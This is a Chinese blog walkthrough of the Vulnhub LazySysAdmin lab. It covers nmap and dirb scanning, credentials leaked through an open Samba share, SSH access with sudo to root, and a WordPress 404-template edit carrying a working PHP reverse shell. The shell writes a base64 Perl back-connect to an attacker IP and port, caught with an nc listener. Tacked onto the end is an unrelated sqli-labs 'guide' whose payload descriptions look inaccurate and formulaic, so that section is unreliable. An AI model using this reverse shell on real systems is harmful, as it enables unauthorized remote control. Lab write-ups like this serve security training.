Vulnhub-LazySysAdmin 通关指南

背景

一个孤独和懒惰的系统管理员哭泣自己睡觉的故事

Difficulty:中等/初学者

Goal:

​ 1.教初学者一些基本的Linux枚举技巧

​ 2.让自己更加熟悉Linux的服务配置,然后创造更多靶机给大家去学习

​ 3.得到root权限&找到flag

 

信息收集

先试用nmap确定靶机的IP地址

nmap -sP 192.168.100.0/24

确定靶机的IP地址为192.168.100.10

 

然后我们在对靶机的进行端口扫描

 

再用nmap -A 192.168.100.10 详细的查看下靶机的信息

root@kali:~# nmap -A  192.168.100.10
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-19 14:07 CST
Nmap scan report for 192.168.100.10
Host is up (0.00028s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|   256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_  256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.100.8
|_  error: Closing link: (nmap@192.168.100.8) [Client exited]
MAC Address: 08:00:27:D6:A0:DD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -3h19m59s, deviation: 5h46m24s, median: 0s
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2018-11-19T16:07:46+10:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-11-19 14:07:46
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 192.168.100.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.50 seconds
 

InspIRCd,是一个UNIX系统和Windows系统的聊天服务器

Samba,是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机,本身还可以集成入Windows Server的网域,扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列操作系统之间搭起一座桥梁,让两者的资源可互通有无。--维基百科

 

按照常规先看看web能不能找到什么线索

 

用drib对目录进行扫描下

dirb "http://192.168.100.10/" dirbuster-ng-master/wordlists/big.txt

发现了phpmyadmin和wordpress

 

phpMyadmin

爆破失败……

Wordpress

看到这段信息 就用WPscan扫一下这个wordpress站点看看能不能扫到什么漏洞直接利用

一个用户admin,主题是twentyfifteen - v1.8,没有装插件,干干净净的wordpress,想从这打进去怕是不现实了。。。

 

InspIRCd

没有什么发现……

Samba

看下能不能连进去

发现了一个printf$和一个share$,应该一个是打印机,但是连不上,试了下共享文件夹,打开就发现了惊喜

竟然是wordpress站点的目录,这样子,能搞的事情就多了啦:),先尝试能不能上传文件,发现不行,但是可以下载文件,那就看下有没有什么敏感信息。

解法一:ssh 

 

有个todolist,但是好像没啥用

有个deets.txt文件

CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

用户名togie???密码12345???连连ssh试试??

 

那试试看看能不能togie用户有没有sudo的权限(讲道理都不会有。。。)

然而又一次让人震惊了。。。

togie@LazySysAdmin:~$ sudo su
[sudo] password for togie: 
root@LazySysAdmin:/home/togie#

于是,顺顺利利拿到flag。。。

解法二:wordpress

顺便看看配置文件,把数据库密码扒下来

 

是个残废的phpmyadmin 

 

这里我们试下WP的密码会不会跟数据库是一个密码呢,毕竟是一个很懒的系统管理员

我们在那边不断重复My name is togie.的文章评论下找到管理员

那么我们试试看  账号:Admin  密码:TogieMYSQL12345^^ 

看能不能登陆WP后台,登陆成功!

然后我们通过编辑404来反弹shell

代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.100.8"; //yourip
$yourport = '5555'; //yourport
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

 

编辑好后,点击下面的upload file应用

然后我们在kali上运行

nc -lvp 5555

然后打开网页http://192.168.100.10/wordpress/?p=200

等待反弹shell,中间可能需要稍微等待一下,最好打一条命令,如果建立成功能立马返回消息你能看到

因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。

 

刚好目标机有python环境,所以我们导入Python的pty模块。

python -c 'import pty; pty.spawn("/bin/sh")'

所以用CVE-2017-1000112提权即可,但是目标机上没有gcc,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可。

dirb安装方法(kali已自带)

wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz
cd dirb222/
apt-get install libcurl4-gnutls-dev
./configure && make
./dirb #运行即可

 

 

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs是一个SQL注入学习平台,通过一系列的关卡来帮助用户学习和实践SQL注入技术。以下是一个通关指南,帮助你逐个完成sqli-labs的关卡: 1. 第一关:基础SQL注入 - 输入 `' OR 1=1 --` 作为用户名和密码,绕过登录验证。 2. 第二关:字符串型注入 - 在用户名字段中输入 `' OR '1'='1`,在密码字段中输入任意值。 3. 第三关:整数型注入 - 在用户名字段中输入 `admin' OR '1'='1`,在密码字段中输入任意值。 4. 第四关:布尔型注入 - 在用户名字段中输入 `' OR 1=1 --`,在密码字段中输入任意值。 5. 第五关:时间型注入 - 在用户名字段中输入 `' OR SLEEP(5) --`,在密码字段中输入任意值。 6. 第六关:错误型注入 - 在用户名字段中输入 `' OR 1=1 --`,在密码字段中输入任意值。 7. 第七关:盲注 - 使用盲注技巧逐步猜测数据库的信息,例如利用 `AND` 和 `OR` 运算符进行条件判断。 8. 第八关:受限字符型注入 - 输入 `' OR '1'='1` 作为用户名,并在密码字段中输入任意值。 9. 第九关:受限函数型注入 - 使用一些受限制的函数,如 `GROUP_CONCAT` 或 `SUBSTRING` 来构造注入语句。 10. 第十关:盲注进阶 - 使用盲注技巧和条件判断,尝试逐步猜测数据库的信息。 这只是sqli-labs的一部分关卡,通关后你可以继续探索更多高级的SQL注入技术。在进行任何实验之前,请确保已经了解并遵守所有适用的法律和道德规范。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值